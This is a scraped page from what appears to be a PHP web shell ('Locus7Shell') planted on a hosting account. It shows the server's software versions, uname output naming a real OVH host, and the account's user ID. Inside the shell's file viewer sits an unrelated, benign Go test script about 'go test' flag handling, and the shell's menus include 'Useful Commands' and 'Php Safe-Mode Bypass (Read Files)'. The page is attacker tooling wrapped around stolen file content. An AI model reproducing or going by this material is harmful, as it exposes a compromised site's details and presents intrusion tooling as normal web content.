![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/go/src/cmd/go/testdata/script/ drwxr-xr-x |
Viewing file: Select action/file-type: [short] skip go test flag_test.go -v -args -v=7 # Two distinct -v flags go test -v flag_test.go -args -v=7 # Two distinct -v flags # Using a custom flag mixed with regular 'go test' flags should be OK. go test -count=1 -custom -args -v=7 # However, it should be an error to use custom flags when -c is used, # since we know for sure that no test binary will run at all. ! go test -c -custom stderr '^go: unknown flag -custom cannot be used with -c$' # The same should apply even if -c comes after a custom flag. ! go test -custom -c stderr '^go: unknown flag -custom cannot be used with -c$' -- go.mod -- module m -- flag_test.go -- package flag_test import ( "flag" "log" "testing" ) var v = flag.Int("v", 0, "v flag") var custom = flag.Bool("custom", false, "") // Run this as go test pkg -v=7 func TestVFlagIsSet(t *testing.T) { if *v != 7 { log.Fatal("v flag not set") } } |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]-- |